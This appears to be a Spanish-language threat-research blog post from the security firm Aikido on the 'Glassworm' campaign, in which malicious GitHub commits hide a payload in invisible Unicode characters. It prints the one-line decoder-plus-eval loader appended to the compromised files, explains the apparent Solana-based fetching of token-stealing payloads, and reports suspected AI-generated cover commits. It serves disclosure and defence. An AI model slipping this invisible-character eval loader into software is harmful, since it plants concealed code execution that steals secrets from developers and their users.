Aikido

El Retorno de la Amenaza Invisible: Unicode PUA Oculto Afecta a los Repositorios de GitHub

Ilyas MakariIlyas Makari
|
#

No hace mucho tiempo descubrimos extensiones comprometidas en Open VSX. Ahora está surgiendo una nueva ola de ataques y todo apunta al mismo autor de la amenaza.

La técnica te resultará familiar: código malicioso oculto inyectado con caracteres invisibles del Área de Uso Privado (PUA) de Unicode. Vimos este truco por primera vez en marzo, cuando los paquetes npm utilizaron PUA para ocultar cargas útiles. Luego vino Open VSX. Ahora, los atacantes parecen haber puesto su mirada en GitHub, y sus métodos están evolucionando. La entrega es cada vez más inteligente, sigilosa y mucho más engañosa.

Cronología de la campaña «El código invisible»

  • Marzo: Aikido descubre por primera vez paquetes npm maliciosos que ocultan cargas útiles utilizando caracteres Unicode PUA.
  • Mayo: publicamos un blog en el que detallamos los riesgos del Unicode invisible y cómo puede utilizarse de forma indebida en ataques a la cadena de suministro
  • 17 de octubre: descubrimos extensiones comprometidas en Open VSX utilizando la misma técnica.
  • 18 de octubre: Koi Security analiza el malware y su carga útil, y lo denomina Glassworm.
  • 31 de octubre: descubrimos que los atacantes han cambiado su objetivo a los repositorios de GitHub.

Diseño sigiloso

Nos dimos cuenta de esta nueva ola cuando un desarrollador nos avisó después de notar algo raro: varios de sus repositorios de GitHub habían sido actualizados, por él mismo, al menos según el historial de confirmaciones. Las confirmaciones parecían legítimas. Contenían actualizaciones de características realistas, pequeñas refactorizaciones e incluso correcciones de errores que coincidían con el estilo de codificación y los mensajes de confirmación del proyecto. Aparte de una diferencia, el correo electrónico del autor de la confirmación estaba configurado como null. Pero al final de estas confirmaciones, cada una tenía una única adición idéntica:

const d=s=>[...s].map(c=>(c=c.codePointAt(0),c>=0xFE00&&c<=0xFE0F?c-0xFE00:c>=0xE0100&&c<=0xE01EF?c-0xE0100+16:null)).filter(b=>b!==null);eval(Buffer.from(d(``)).toString('utf-8'));

¿Puedes detectar el malware? A primera vista es difícil ver lo que está pasando, pero lo que llama la atención es el eval llamada, que se utiliza a menudo para ejecutar código de forma dinámica. Solo la entrada a eval aparece vacío. Sin embargo, la cadena vacía pasada a d() en eval No está vacío en absoluto. Contiene caracteres Unicode invisibles, código oculto codificado con símbolos del Área de Uso Privado, al igual que en los incidentes anteriores de npm y Open VSX.

Esta vez, sin embargo, la entrega es mucho más sutil. Todo se ha reducido a una sola línea, sin dejar casi ninguna pista visual. El código malicioso se esconde dentro de lo que parece una actividad normal del proyecto, oculto entre commits legítimos.

Es posible que los cambios de apariencia benigna fueran generados por IA para que las confirmaciones resultaran más convincentes. Dado que estas confirmaciones eran muy específicas del proyecto, esto sugiere que el atacante pudo haber aprovechado grandes modelos de lenguaje para crear cambios de código realistas y sensibles al contexto, utilizando eficazmente la IA para camuflar su carga útil dentro de la actividad de desarrollo habitual.

Los caracteres PUA descodificados conducen a un script muy similar a las muestras de Open VSX, lo que sugiere que probablemente se trate del mismo actor malicioso. El script descodificado parece utilizar Solana como canal de distribución, obteniendo y ejecutando una carga útil desde la cadena de bloques. Según los incidentes de Open VSX, esas cargas útiles han sido capaces de robar tokens y otros secretos. Si se recopilan credenciales o tokens de CI, podrían reutilizarse para introducir la misma carga útil en otros repositorios, lo que a su vez podría permitir una propagación similar a la de un gusano, como hemos visto en ataques anteriores.

Señales de un ataque mayor

Tras identificar el patrón malicioso, comenzamos a buscar si la misma carga útil aparecía en otros lugares. Una búsqueda rápida en GitHub del patrón reveló rápidamente otros repositorios que mostraban la misma línea sospechosa.

En estos proyectos, se había enviado una nueva confirmación que, a primera vista, parecía totalmente legítima. Las confirmaciones contenían cambios normales, como actualizaciones de documentación, aumentos de versión y pequeñas mejoras en el código, pero cada una de ellas incluía también la misma carga útil oculta añadida al final de un archivo.

Por ahora, esta campaña parece limitarse a proyectos JavaScript alojados en GitHub. No hemos observado ningún indicio de compromisos similares en npm u otros ecosistemas, aunque lo estamos vigilando de cerca, ya que el mismo atacante podría intentar ampliar su alcance.

Amenazas en evolución, defensas más inteligentes

Estos incidentes ponen de relieve la necesidad de una mayor concienciación sobre el uso indebido de Unicode, especialmente los peligros de los caracteres invisibles del Área de Uso Privado. Los desarrolladores solo pueden defenderse de lo que ven, y en este momento la mayoría de las herramientas no les muestran lo suficiente. Ni la interfaz web de GitHub ni VS Code mostraron ninguna señal de que algo fuera mal. En casos anteriores, como los ataques Open VSX, algunos IDE mostraban indicadores sutiles junto a los caracteres ocultos, pero esas medidas de seguridad no estaban presentes en este caso.

Aunque esta técnica no es nueva, está evolucionando claramente. Las amenazas anteriores, como Shai Hulud, simplemente inyectaban scripts maliciosos tras la instalación, lo que las hacía relativamente fáciles de detectar. Ahora, los atacantes mezclan código malicioso con compromisos realistas y mejoras específicas del proyecto, posiblemente con la ayuda de la inteligencia artificial para que sus cambios parezcan naturales. Es una señal de hacia dónde se dirige el panorama de las amenazas.

En Aikido, nos estamos adaptando a esa misma evolución. Utilizamos grandes modelos lingüísticos, entre otros sistemas de detección, para detectar estas amenazas cada vez más sutiles. A medida que los atacantes adoptan la IA para ocultar sus intenciones, nuestras defensas deben volverse igual de inteligentes para descubrirlas.

4.7/5

Protege tu software ahora.

Empieza gratis
Sin tarjeta
Solicitar una demo
Sus datos no se compartirán · Acceso de solo lectura · No se requiere tarjeta de crédito

Asegúrate ahora.

Proteja su código, la nube y el entorno de ejecución en un único sistema central.
Encuentre y corrija vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.